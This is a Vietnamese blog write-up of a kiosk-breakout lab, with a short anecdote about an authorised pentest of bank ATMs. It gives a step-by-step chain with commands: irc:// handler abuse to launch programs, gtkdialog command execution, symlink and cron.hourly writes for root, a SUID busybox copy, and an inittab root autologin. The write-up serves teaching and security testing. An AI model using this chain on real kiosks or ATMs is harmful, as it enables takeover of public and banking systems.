+26

Kiosk Breakouts - Lỗ hổng lạ tai và câu chuyện bypass cây ATM của một ngân hàng

Kiosk Breakouts có lẽ là một hổng khá đặc biệt vì mình đã khai thác nó trước khi biết tới sự hiện diện của nó. Đã có thời gian khá dài mình nghĩ bản thân "phát minh" ra phương pháp có tuổi đời vài chục năm này. 😆 .

Mình đã sử dụng Kiosk Breakouts cho việc chiếm quyền điều khiển cây ATM của một ngân hàng , cho việc bypass quầy bán vé tự động ở một sân bay hay bảng chỉ dẫn của một bảo tàng nghệ thuật (dĩ nhiên là mình được đơn vị chủ quản thuê để làm việc này ). Bản thân cũng muốn giới thiệu về nó từ lâu, nhưng mình không có môi trường thực tế do không biết cách xây dựng một Kiosk như thế nào . Hôm nay mình mượn được lab của một người bạn có Challenge mô tả chi tiết về lỗ hổng này, thấy hay quá nên mình quyết định chia sẻ về nó luôn.

1 . Định Nghĩa

Kiosk là hệ thống máy tính thường được sử dụng cho mục đích công cộng thực hiện các nhiệm vụ như truy xuất thông tin, duyệt internet, đăng ký hoặc tìm kiếm bản đồ. Chúng thường được lắp đặt trong hành lang của các tòa nhà, trong sân bay và cơ sở bán lẻ hoặc nhiều địa điểm khác.

Ví dụ các hệ thống Kiosk bạn có thể gặp ở Việt Nam như: Máy tìm kiếm thông tin ở Aeon Mall, cây ATM đời mới , Máy bán vé tự động ở Sân Bay ...

Kiosk bản chất là một máy tính bình thường được cài đặt các hệ điều hành phổ biến như Windows / Linux nhưng bị giới hạn các chức năng cho phép . Quá trình "break" chương trình ra ngoài, sử dụng Kiosk như một máy tính thông thường được gọi là Kiosk Breakouts.

Kiosk có thể sử dụng các máy vật lý như Wyse Client hoặc ảo hóa như Citrix4 Virtual Desktop. Phương pháp tấn công với 2 môi trường này là tương đối giống nhau.

Với mỗi Kiosk khác nhau sẽ chạy một chương trình khác nhau, với những cấu hình khác nhau , dẫn tới những phương pháp tấn công khác nhau. Phần lab dưới đây chỉ mô tả một trong các cách tấn công mà thôi.

2. Kết nối vào lab - Kiosk

Bản lab này mô phỏng một Kiosk phổ biến với giao diện như sau :

image.png

Mục tiêu cuối cùng là thông qua đây, thí sinh phải chiếm quyền điều khiển hệ thống với đặc quyền root

Bài lab khá khó , phần cuối mình phải đọc hướng dẫn mới làm được

3. Kiosk Enumeration

Khác với công việc tìm kiếm thông thường. Do khả năng tương tác hạn chế với các Kiosk, chúng ta thường không thể sử dụng các công cụ tự động để thực hiện quá trình này mà phải thực hiện bằng "tay" là chủ yếu. Tuy nhiên cũng có một số nguồn tài nguyên để tham khảo như Living Off The Land Binaries and Scripts cho Windows hay GTFO Bins cho Unix/Linux.

Ban đầu chúng ta chỉ có quyền truy cập vào Firefox, dẫn tới để chiếm quyền điều khiển hệ thống mục tiêu buộc phải thông qua endpoint duy nhất này.

Thử tương tác với hệ thống thông qua các thanh địa chỉ //etc/passwd , //etc/hostname tuy nhiên hệ thống đã chặn truy cập vào các tệp tin này.

GpCScreenshot_9.png

bmdScreenshot_10.png

Truy cập vào file://var/www/localhost thành công nhưng không kiếm chác được gì

Screenshot_11.png

Trong một số trường hợp, ta có thể tận dụng directory listings hoặc error messages để tìm kiếm thông tin quá trình xử lý dữ liệu trong máy chủ.

Chúng ta biết rằng, trình duyệt thông thường sẽ cho phép các phương thức kết nối tiêu chuẩn như HTTP, HTTPS . Đồng thời cũng có nhiều giao thức khác có thể được chấp nhận như file://, chrome:// , ftp:// , mailto:// smb:// nhưng do Kiosk bị chặn khỏi Internet nên việc lợi dụng các phương thức này là không khả thi.

Tuy nhiên chúng ta có thể lợi dụng một giao thức kết nối khác là irc:// (Internet Relay Chat) - sử dụng nó để tiến hành Breakouts

Screenshot_12.png

4. Chiếm quyền điều khiển

Hộp thoại phía trên hiện ra, cho phép chúng ta lợi dụng để tìm kiếm các file hệ thống . Tuy nhiên chúng ta không được lựa chọn "Remember my choice for..." điều này sẽ ngăn cản chúng ta chọn các chương trình khác trong tương lai.

Screenshot_13.png

Screenshot_14.png

Đường dẫn hiện tại là /home/guest cho chúng ta thấy tài khoản mà phần mềm Kiosk đang chạy là "guest"

Truy cập vào / cho chúng ta thấy thư mục mặc định của Kiosk

Screenshot_15.png

Cố gắng truy cập các tệp tin quan trọng /bin, /usr/bin, /usr/share, /sbin, /opt,

Ví dụ truy cập /bin/bash, sau đó nhấn vào nút "Open Link" để mở liên kết

Screenshot_16.png

Quá trình này dĩ nhiên sẽ không thu nhận được gì, đơn giản vì /bin/bash là chương trình hoạt động với môi trường dòng lệnh, còn hiện tại chúng ta đang sử dụng giao diện đồ họa. Thay vào đó, ta cố gắng sử dụng các chương trình terminal phổ biến như gnome-terminal , xterm hay konsole. Tuy nhiên các chương trình này đã bị xóa trong Kiosk theo mặc định.

May mắn trong hệ thống tồn tại 2 chương trình hữu ích

/bin/busybox

BusyBox là một bộ tiện ích nhỏ gọn cho hệ thống nhúng, ví dụ như các lệnh ta dùng trong shell như "cat, date, ping, ip, route, ..." đều được tích hợp trong nó, chính vì vậy BusyBox được dùng để xây dựng nên Root File System.

/ur/bin/dunstify

Một chương trình được sinh ra với mục đích tạo các thông báo cho người sử dụng

Screenshot_18.png

Lựa chọn /ur/bin/dunstify ta thấy hộp thoại xuất hiện, cho thấy nó đã được firefox load vào

Screenshot_17.png

Điều này quan trọng bởi 2 lý do

  1. Không có cơ chế chặn các external application, trường hợp này là dunstify
  2. Chúng ta nhận ra URI (irc://hoanguyen) trong trường hợp này là một "argument" cho dunstify. Tương tự việc chúng ta gõ
dunstify irc://hoanguyen

Điều này giải thích các khó khăn mà chúng ta gặp phải trước đó, vì "irc://hoanguyen" là một đối số không hợp lệ

Ví dụ khi ta chọn /bin/bash load với "irc//hoanguyen", chương trình sẽ hiểu kiểu như này :

/bin/bash irc://hoanguyen

Screenshot_19.png

Để thay đổi điều này, chúng ta có thể gọi tới env file , để lấy /usr/bin/env làm môi trường

Cú pháp tương tự như sau:

/usr/bin/env irc://hoanguyen=hoanguyen /bin/bash  (Do evn phải sử dụng tham số a=cái gì đó)

Screenshot_20.png

Tuy nhiên điều này chỉ hiệu quả trên máy Linux, trên Kiosk thì lại không hoạt động !!!

[Chỗ này mình phải xem hướng dẫn mới làm được tiếp]

4.1. Thoát khỏi Firefox Profiles

Như chúng ta đã biết, Firefox đang chạy ở chế độ hạn chế do được cài đặt trong một cấu hình đặc biệt, Chúng ta có thể thoát ra khỏi hạn chế này bằng cách tạo ra một cấu hình mới

Theo hướng dẫn, sử dụng tham số -P để tạo profile

Screenshot_22.png

Ta tạo tham số irc://hoanguyen -P "hoanguyen" với link /usr/bin/firefox là ứng dụng chạy

Câu lệnh sẽ tương tự như sau:

/usr/bin/firefox irc://hoanguyen -P "hoanguyen

Screenshot_23.png

Trên KiosK ta gõ

Screenshot_24.png

Với một profile mới ta có một firefox xịn sò như bình thường

Screenshot_25.png

Ở bước này, nếu Kiosk được kết nối internet chúng ta có thể cài đặt nhiều addon để phục vụ cho quá trình khai thác, tuy nhiên Kiosk hiện tại không kết nối với internet, điều này dẫn đến chúng ta bắt buộc phải lợi dụng những gì có sẵn để tấn công.

4.2. Tìm kiếm các file quan trọng với Firefox "mới"

Kiểm tra /etc/passwd

B3xScreenshot_26.png

Ở đây ta thấy hệ thống có 3 người dùng bao gồm : root , operator và guest

Kiểm tra /etc/proc/version

Screenshot_27.png

Kiosk được cài đặt Linux Kernel tương đối mới

Tìm kiếm các SSH key, lịch sử truy cập, file đã tải về , thông tin đăng nhập và mật khẩu, tuy nhiên không tìm thấy điều gì hữu ích

Tới đây thì mình phải xem hint nói về một thứ chưa nghe bao giờ...Scrathpad

4.3. Lợi dụng Scrathpad

Scrathpad là một text-editor cổ điển (không còn được sử dụng ) được tích hợp nhằm chạy và debug Javascript. Tuy nhiên nó cũng có thể được sử dụng để download và lưu các file plain-text trên máy chủ hệ thống.

Thử tạo "hello world" với Scratchpad

Screenshot_29.png

Screenshot_30.png

Tới thời điểm hiện tại, chúng ta vẫn bị loay hoay với phương thức irc:// , điều này gây khó khăn về khả năng tương tác với hệ điều hành. Sử dụng /usr/bin/gtkdialog để tiến hành nâng cấp lên TTY Shell (Shell xịn)

gtkdialog là một ứng dụng mã nguồn mở, cho phép xây dựng giao diện GTK và Dialog Boxes bằng cú pháp tương tự XML giúp đơn giản hóa quá trình tạo GUI cho Linux

Cú pháp gtkdialog với Bash Script

#!/bin/bash 

GTKDIALOG=gtkdialog 
export MAIN_DIALOG=' 

<window title="My First Program" icon-name="gtk-about" resizable="true" width-request="300" height-request="310"> 

<vbox> 
	<hbox space-fill="true" space-expand="true"> 
		<button>	 
			<label>Welcome to TecMint.com Home!</label> 
			<action>echo "Welcome to TecMint.com Home!"</action> 
		</button> 
	</hbox> 
</vbox> 
</window> 
' 

case $1 in 
	-d | --dump) echo "$MAIN_DIALOG" ;; 
	*) $GTKDIALOG --program=MAIN_DIALOG --center ;; 

esac 

Screenshot_31.png

Viết một chương trình đơn giản để thử nghiệm với Scratchpad

<window>
  <vbox>
    <frame Description>
      <text>
        <label>This is an example window.</label>
            </text>
        </frame>
        <hbox>
            <button ok>
            <action>echo "testing gtk" > /tmp/hoanguyen.txt</action>
            </button>
            <button cancel></button>
        </hbox>
    </vbox>
</window> 

Chương trình cho phép khi user thực hiện nhấn nút "Button" , command "echo "testing gtk" > /tmp/hoanguyen.txt" sẽ được thực thi

LQ5Screenshot_2.png

yH3Screenshot_3.png

Chạy cấu hình trên với môi trường Kali Linux, sử dụng gtkdialog -f

/usr/bin/gtkdialog irc://hoanguyen -f hoanguyen

MqaScreenshot_1.png

Ta thấy một hộp thoại hiện lên, khi ấn nút "Ok" , file hoanguyen.txt sẽ được tạo ra trong /tmp (command execution)

Tương tự trên Kiosk

JgGScreenshot_2.png

oYkScreenshot_3.png

mp6Screenshot_4.png

5. Post-Exploitation

Hiện tại chúng ta đã có thể tương tác được với hệ điều hành, tuy nhiên điều này là khá bất tiện. Chúng ta phải sửa chữa từng profile Gtklog cho từng command, điều này có vẻ không được thực tế (do tương tác hạn chế, chúng ta sẽ không có các command dạng revershell để có shell hịn)

Chúng ta sẽ phải làm "điều gì đó" cho phép nhập command và output ra kết quả

Điều gì đó như thế này :

<window>
  <vbox>
    <vbox scrollable="true" width="500" height="400">
        <edit>
          <variable>CMDOUTPUT</variable>
          <input file>/tmp/termout.txt</input>
        </edit>
    </vbox>
    <hbox>
      <text><label>Command:</label></text>
      <entry><variable>CMDTORUN</variable></entry>
      <button>
          <label>Run!</label>  
          <action>$CMDTORUN > /tmp/termout.txt</action>
          <action>refresh:CMDOUTPUT</action>  
      </button>
    </hbox>
  </vbox>
</window>

VtgScreenshot_2.png

oFQScreenshot_3.png

6. Leo thang đặc quyền

Không có kết nối internet, việc sử dụng các script như LinEnum là không thể thực hiện , việc download các file exploit có sẵn để khai thác cũng không khả thi. Do đó việc leo thang đặc quyền trong Kiosk này chủ yếu lợi dụng các cấu hình có sẵn, từ đó chiếm lấy đặc quyền root

Tìm kiếm các file binary có sẵn trên hệ thống

find / -perm -u=s -exec ls -al {} +

gGhScreenshot_4.png

/usr/sbin/mtr và /usr/bin/xlock xuất hiện các lỗi gần đây, tuy nhiên không ảnh hưởng tới phiên bản hiện tại - hơn nữa việc debug và exploit trong môi trường này là vô cùng khó khăn, vì vậy chúng ta phải tiếp cận theo hướng khác.

Liệt kê các chương trình đang chạy trên hệ thống ps aux

oCxScreenshot_5.png

Ở đây ta nhận thấy một chương trình mang tên Openbox đang chạy với quyền root với cấu hình như sau:

 1213 root       0:00 /usr/bin/openbox --startup /usr/libexec/openbox-autostart OPENBOX

Openbox là một Desktop Environment tương tự như Mate Desktop, GNOME Desktop , Unity có điều nó nhẹ và đơn giản hơn

Với gợi ý về Openbox , ta xem xét các tính năng sẵn có của ứng dụng này

JvnScreenshot_6.png

Sử dụng openbox --replace trên Kiosk , ta thấy các kết nối đồ họa bị mất (kể cả kết nối VNC) tuy nhiên các phiên làm việc hiện tại vẫn giữ nguyên, gợi ý về việc theo thang đặc quyền thông qua đây openbox chạy với quyền root nhưng lại có thể được reset thông qua guest

Tìm kiếm các file trên hệ thống có thể truy cập, ta tìm được Folder chứa profile của người dùng như sau:

ls -la /home/guest/.mozilla/firefox/c3pp43bg.default

9n4Screenshot_7.png

Ở đây ta thực hiện xóa toàn bộ nội dung tại /home/guest/.mozilla/firefox/c3pp43bg.default sau đó replace lại Openbox

rm -rf /home/guest/.mozilla/firefox/c3pp43bg.default/*
openbox --replace

nxzScreenshot_8.png

Tạ nhận thấy được rằng, sau khi "reset openbox" file bookmarks.html lại được tạo ra. Tuy rằng người sở hữu là "guest" nhưng có thể Kiosk cho phép ghi vào với đặc quyền cao hơn.

Để kiểm tra vấn đề này, đơn giản chúng ta sẽ điều hướng cho chương trình ghi vào "root files" hay vì thư mục /home của Guest

Thực hiện backup file

mv /home/guest/.mozilla/firefox/c3pp43bg.default /home/guest/.mozilla/firefox/old_prof

Bắt buộc phải thực hiện bước này, khi hệ thống check không thấy bookmarks.html thì tự nó sẽ thực hiện Symlink

(Mình loay hoay đoạn này gần 7 tiếng)

ln -s /usr/bin /home/guest/.mozilla/firefox/c3pp43bg.default (Symlink từ c3pp43bg.default tới /usr/bin)

Điều này giống như khi write vào '/home/guest/.mozilla/firefox/c3pp43bg.default' file bookmark.html , chương trình sẽ cố gắng ghi vào /usr/bin

uOXScreenshot_10.png

qomScreenshot_11.png

Nhiệm vụ lúc này của chúng ta là phải cho tệp có thể thực thi được đồng thời write được các lệnh thực thi vào file.

Mặc dù chúng ta có thể chỉnh sửa nội dung của tệp bookmarks.html, nhưng chúng ta không thể đổi tên nó. Đồng thời ScratchPad không cho phép chỉnh sữa trực tiếp. bxrScreenshot_12.png

Thông thường chúng ta có thể tìm kiếm tới các giải pháp command-line editor như nano hay vim, tuy nhiên gtkdialog không phải là shell để chúng ta có thể thực hiện được điều này. Đồng thời trên hệ thống cũng không cài đặt bất cứ graphical nào cả

Vì vậy chúng ta buộc phải "echo từng dòng" để ghi vào bookmarks.html (script.sh)

echo "#!/bin/bash" > /usr/bin/bookmarks.html // ghi đè vào bookmarks.html
echo "gtkdialog -f /home/guest/terminal" >> /usr/bin/bookmarks.html

pmmScreenshot_13.png

Chạy script.sh

SIRScreenshot_14.png

BkfScreenshot_15.png

Thông thường, chúng ta có thể tận dụng một số kỹ thuật leo thang đặc quyền sau :

  • Ghi vào /etc/profile.d

  • Ghi vào /etc/cron.d

Cron.d là một phần của CronJob. Mọi tập lệnh được đặt ở đây đều được chạy với quyền root. Tuy nhiên vấn đề nằm ở chỗ , nó chỉ chạy các tệp thuộc sở hữu của root , nếu không chúng sẽ không chạy. Vì chúng ta không thể thay đổi quyền của tệp nên phương án này không khả thi

  • Ghi vào /etc/cron.hourly , /etc/cron.daily , /etc/cron.weekly và /etc/cron.monthly

Các tệp này dễ tính hơn, nên đây là lựa chọn số 1 cho mục đích của chúng ta. /etc/cron.hourly được ưu tiên hơn cả vì liên quan tới thời gian thực hiện

Ở đây chúng ta cần phải phân biệt 2 khái niệm : contab/etc/cron.d. Contab thì quản lý jobs theo tệp cho mỗi người dùng - tệp này không thể sửa bằng bất kỳ text-editor nào còn /etc/cron.d thì quản lý jobs thông qua các tệp được viết riêng biệt và không phải bất ký Distro nào cũng hỗ trợ

9lVScreenshot_1.png

V4SScreenshot_2.png

Ghi đè vào bookmarks.html trong /etc/cron.hourly

echo "#!/bin/bash" > /etc/cron.hourly/bookmarks.html 
echo "gtkdialog -f /home/guest/terminal" >> /etc/cron.hourly/bookmarks.html

Thông thường, đến bước này chúng ta đã có đặc quyền root sau khi khởi động lại Openbox , tuy nhiên để chắc chắn hơn ta có thể lợi dụng Busybox để đề phòng việc khai thác không thành công (Mất công chờ ít nhất 1h sau mới thực hiện được tiếp)

cp /bin/busybox /home/guest

r7wScreenshot_3.png

echo "chown root:root /home/guest/busybox" >> /etc/cron.hourly/bookmarks.html
echo "chmod +s /home/guest/busybox" >> /etc/cron.hourly/bookmarks.html

Chạy script2.sh

YyzScreenshot_4.png

TpXScreenshot_5.png

Đợi đúng 1 tiếng .....

photo-1559891272-8a206fbc5c0e.jpg

m3VScreenshot_1.png

Cố gắng gọi gtkdialog thông qua busybox với câu lệnh /home/guest/busybox sh command_to_run không thành công, phương pháp tối ưu nhất là lưu vào 1 file, rồi dùng 1 file khác gọi tới

Tạo run.sh

bash #!/bin/bash /usr/bin/gtkdialog -f /home/guest/terminal

sau đó thực thi nó bới busybox

/home/guest/busybox sh /home/guest/run.sh

YAjScreenshot_2.png

Bây giờ chúng ta đã có root shell, tuy nhiên chúng ta có thể cải thiện hơn về khả năng tương tác Như đã đề cập từ trước, hiện tại chúng ta vẫn hạn chế bởi thực tế là chúng ta vẫn chưa có quyền truy cập vào Terminal.

Với hệ thống Linux cơ bản, sẽ cung cấp cho chúng ta các TTys hoặc Virtual console/terminals. Nghe khá xa lạ nhưng chúng ta lại thường xuyên sử dụng nó. Để sử dụng được chức năng này. ta có thể sử dụng các phím Ctrl + Alt + F3 đến F6 là được

Do tương tác qua VNC chúng ta không thể trực tiếp gõ tổ hợp phím trên mà chỉ có thể thử thông qua 'xotool`

xdotool key Ctrl+Alt+F3

Trong trường hợp này, không có gì xảy ra. Có thể chức năng này đã bị vô hiệu hóa

Kiểm tra file /etc/X11/xorg.conf.d/10-xorg.conf

h6QScreenshot_3.png

DonVTSwitch function cho thấy chức năng VT đã bị tắt

Để sửa đổi điều này, ta tiến hành sao chép tệp tin gốc từ /etc/X11/xorg.conf.d/10-xorg.conf về /home/guest/xorg.txt

Sau đó chúng ta set quyền để cho phép scratchpad có thể sửa đổi

cp /etc/X11/xorg.conf.d/10-xorg.conf /home/guest/xorg.txt
chmod 777 /home/guest/xorg.txt

Sau đó chúng ta có thể sử dụng Scratchpad để comment dòng DontVTSwitch

J62Screenshot_4.png

Tiếp theo, chúng ta tiến hành lưu tệp và sao chép nó trở lại vị trí ban đầu

cp /home/guest/xorg.txt /etc/X11/xorg.conf.d/10-xorg.conf 
chmod 644 /etc/X11/xorg.conf.d/10-xorg.conf
openbox --replace

h6OScreenshot_5.png

Khi VT được bật, chúng ta cần xác định TTY cho hệ thống trong /etc/inittab

cp /etc/inittab /home/guest/inittab.txt
chmod 777 /home/guest/inittab.txt

Mở với Scratchpad , ta nhận thấy dòng "Standard console login" bị comment , tiến hành thêm dòng sau

c3::respawn:/sbin/agetty --noclear --autologin root 38400 tty3 linux

BKdScreenshot_6.png sau đó lưu file và trả lại vị trí cũ - không quên chmod lại như cũ

cp /home/guest/inittab.txt /etc/inittab
chmod 600 /etc/inittab
/sbin/init q (tự động reload cài đặt)

kill.sh

#!/bin/bash
killall x11vnc 
x11vnc -rawfb vt3

Chạy kill.sh ta sẽ có root-terminal

8d7Screenshot_7.png

Đây thực sự là một lab khó với nhiều thử thách được đặt ra, qua bài này mình đã ít nhiều hiểu biết hơn về hệ thống Linux vẫn đang sử dụng hàng ngày !!!

7. Câu chuyện về bypass cây ATM của một ngân hàng

Chuyện xảy ra cách đây 3 - 4 năm, khi một đơn vị ngân hàng của Việt Nam quyết định triển khai thêm một số lượng lớn cây ATM đời mới với mục đích nâng cao trải nghiệm người dùng. Mình được thuê để tiến hành tìm kiếm mã độc, đồng thời đánh giá những lỗ hổng bảo mật tiềm tàng có thể gặp phải trong quá trình sử dụng .

Sau một buổi chiều tìm tòi nghiên cứu, mình phát hiện các ATM này chứa một chương trình hỗ trợ gõ phím khi người dùng nhập sai quá nhiều lần trên màn hình cảm ứng. Bằng một số phương pháp bypass khác nhau, mình kết nối được process chương trình này với Task Manager sau đó kill process đang chạy giả lập Kiosk đi, dẫn tới cây ATM này bị chiếm quyền điều khiển. Đơn vị này đã khắc phục ngay sau đó với việc vô hiệu hóa chương trình này đi.

image.png

Bài viết khá dài, cảm ơn mọi người đã đọc tới đây. Nhân dịp đầu xuân năm mới, chúc mọi người sức khỏe dồi dào và có những bước tiến lớn trong sự nghiệp.


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí